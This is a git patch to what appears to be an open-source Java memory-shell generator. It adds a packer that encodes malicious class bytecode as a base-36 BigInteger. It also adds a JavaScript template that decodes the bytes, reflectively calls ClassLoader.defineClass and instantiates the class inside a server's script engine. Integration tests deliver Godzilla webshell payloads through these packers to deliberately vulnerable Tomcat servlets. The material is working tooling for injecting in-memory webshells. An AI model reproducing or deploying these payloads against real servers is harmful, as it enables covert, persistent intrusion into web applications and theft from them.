From 8c3fad5c2df7d651270ab74708d4472923201cbc Mon Sep 17 00:00:00 2001 From: Wans Date: Thu, 28 Aug 2025 09:57:54 +0800 Subject: [PATCH] feat: support ScriptEngineBigInteger --- .../tomcat/TomcatListenerInjector.java | 2 +- .../javaweb/integration/ShellAssertion.java | 2 +- .../Tomcat8ExpressionContainerTest.java | 2 ++ .../javaweb/packer/BigIntegerPacker.java | 6 +++- .../com/reajason/javaweb/packer/Packers.java | 4 +++ .../DefaultScriptEnginePacker.java | 33 ++++++++++++++++++ .../ScriptEngineBigIntegerPacker.java | 34 +++++++++++++++++++ .../scriptengine/ScriptEnginePacker.java | 23 ++----------- .../{shell.js => DefaultScriptEngine.js} | 0 .../main/resources/ScriptEngineBigInteger.js | 10 ++++++ .../jakarta/BigIntegerClassLaoderServlet.java | 4 +-- .../java/BigIntegerClassLaoderServlet.java | 4 +-- 12 files changed, 94 insertions(+), 30 deletions(-) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java rename packer/src/main/resources/{shell.js => DefaultScriptEngine.js} (100%) create mode 100644 packer/src/main/resources/ScriptEngineBigInteger.js diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 6f05be93..72fc0edc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -201,4 +201,4 @@ public class TomcatListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } -} +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 3afc8b99..74b6b3dd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -328,7 +328,7 @@ public class ShellAssertion { VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case ScriptEngine -> VulTool.postIsOk(url + "/js", content); + case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content); case EL -> VulTool.postIsOk(url + "/el", content); case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 -> VulTool.postIsOk(url + "/spel", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index 7cba3637..63a88832 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -53,6 +53,8 @@ public class Tomcat8ExpressionContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java index 875ad0a2..9b4c934d 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java @@ -4,10 +4,14 @@ import lombok.SneakyThrows; import java.math.BigInteger; +/** + * @author Wans + * @since 2025/08/26 + */ public class BigIntegerPacker implements Packer { @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return new BigInteger(config.getClassBytes()).toString(36); + return new BigInteger(config.getClassBytes()).toString( Character.MAX_RADIX); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 6871efea..99fb3b8e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -34,6 +34,8 @@ import com.reajason.javaweb.packer.ognl.OGNLPacker; import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker; import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker; +import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker; +import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; @@ -87,6 +89,8 @@ public enum Packers { * 脚本引擎打包器 */ ScriptEngine(new ScriptEnginePacker()), + DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), + ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), Rhino(new RhinoPacker()), /** diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java new file mode 100644 index 00000000..155b085c --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.packer.scriptengine; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +public class DefaultScriptEnginePacker implements Packer { + String jsTemplate = null; + + public DefaultScriptEnginePacker() { + try { + jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/DefaultScriptEngine.js")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return jsTemplate + .replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()) + .replace("\n", "") + .replaceAll("(?m)^[ \t]+|[ \t]+$", "") + .replaceAll("[ \t]{2,}", " "); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java new file mode 100644 index 00000000..3c2ad6a9 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.packer.scriptengine; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +public class ScriptEngineBigIntegerPacker implements Packer { + String jsTemplate = null; + + public ScriptEngineBigIntegerPacker() { + try { + jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ScriptEngineBigInteger.js")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return jsTemplate + .replace("{{className}}", config.getClassName()) + .replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config)) + .replace("\n", "") + .replaceAll("(?m)^[ \t]+|[ \t]+$", "") + .replaceAll("[ \t]{2,}", " "); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index eeef246e..950891f8 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.packer.scriptengine; +import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; @@ -13,25 +14,5 @@ import java.util.Objects; * @author ReaJason * @since 2024/12/3 */ -public class ScriptEnginePacker implements Packer { - String jsTemplate = null; - - public ScriptEnginePacker() { - try { - jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } - - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return jsTemplate - .replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", config.getClassBytesBase64Str()) - .replace("\n", "") - .replaceAll("(?m)^[ \t]+|[ \t]+$", "") - .replaceAll("[ \t]{2,}", " "); - } +public class ScriptEnginePacker implements AggregatePacker { } diff --git a/packer/src/main/resources/shell.js b/packer/src/main/resources/DefaultScriptEngine.js similarity index 100% rename from packer/src/main/resources/shell.js rename to packer/src/main/resources/DefaultScriptEngine.js diff --git a/packer/src/main/resources/ScriptEngineBigInteger.js b/packer/src/main/resources/ScriptEngineBigInteger.js new file mode 100644 index 00000000..746b993e --- /dev/null +++ b/packer/src/main/resources/ScriptEngineBigInteger.js @@ -0,0 +1,10 @@ +var className = "{{className}}"; +var bigIntegerStr = "{{bigIntegerStr}}"; +var bytecode = new java.math.BigInteger(bigIntegerStr, 36).toByteArray(); +var clsString = java.lang.Class.forName("java.lang.String"); +var clsByteArray = (new java.lang.String("a").getBytes().getClass()); +var clsInt = java.lang.Integer.TYPE; +var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]); +defineClass.setAccessible(true); +var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +clazz.newInstance(); \ No newline at end of file diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java index 4d28f00f..f6f1f7ea 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java @@ -34,9 +34,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { Class decoderClass = Class.forName("java.math.BigInteger"); - java.lang.reflect.Constructor ctor = decoderClass.getConstructor(String.class, int.class); - Object bigInt = ctor.newInstance(bigIntegerStr, 36); - return (byte[]) decoderClass.getMethod("toByteArray").invoke(bigInt); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); } @Override diff --git a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java index dc514e15..33129a7d 100644 --- a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java @@ -31,9 +31,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { Class decoderClass = Class.forName("java.math.BigInteger"); - java.lang.reflect.Constructor ctor = decoderClass.getConstructor(String.class, int.class); - Object bigInt = ctor.newInstance(bigIntegerStr, 36); - return (byte[]) decoderClass.getMethod("toByteArray").invoke(bigInt); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); } @Override